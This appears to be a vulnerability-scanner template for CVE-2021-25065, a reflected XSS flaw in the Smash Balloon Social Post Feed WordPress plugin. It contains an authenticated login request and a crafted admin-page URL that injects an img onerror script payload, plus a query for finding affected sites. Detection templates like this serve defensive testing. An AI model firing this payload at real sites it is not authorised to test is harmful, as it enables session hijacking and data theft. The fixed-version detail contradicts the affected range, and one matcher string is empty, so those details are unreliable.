id: CVE-2021-25065 info: name: Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting author: Harsh severity: medium description: | The plugin was affected by a reflected XSS in custom-facebook-feed in cff-top admin page. impact: | An attacker can exploit this vulnerability to inject malicious scripts into web pages viewed by authenticated users, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: Fixed in version 2.19.2 reference: - https://wpscan.com/vulnerability/ae1aab4e-b00a-458b-a176-85761655bdcc - https://wordpress.org/plugins/custom-facebook-feed/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2021-25065 cwe-id: CWE-79 epss-score: 0.00069 epss-percentile: 0.285 cpe: cpe:2.3:a:smashballoon:smash_balloon_social_post_feed:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: smashballoon product: smash_balloon_social_post_feed framework: wordpress publicwww-query: "/wp-content/plugins/custom-facebook-feed/" tags: cve2021,cve,wpscan,wordpress,wp-plugin,xss,wp,authenticated,smashballoon http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=cff-top&cff_access_token=xox%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert(document.domain)%3E&cff_final_response=true HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(body_2, "")' - 'contains(body_2, "custom-facebook-feed")' condition: and # digest: 4b0a00483046022100a38cc92eac5633507dbd0412830d74cf92164b53ce09d7941b47797146be66b3022100ed29724a7da2ab2f4a1187503c0e031f73f80922cc00803a0276d447cc022188:922c64590222798bb761d5b6d8e72950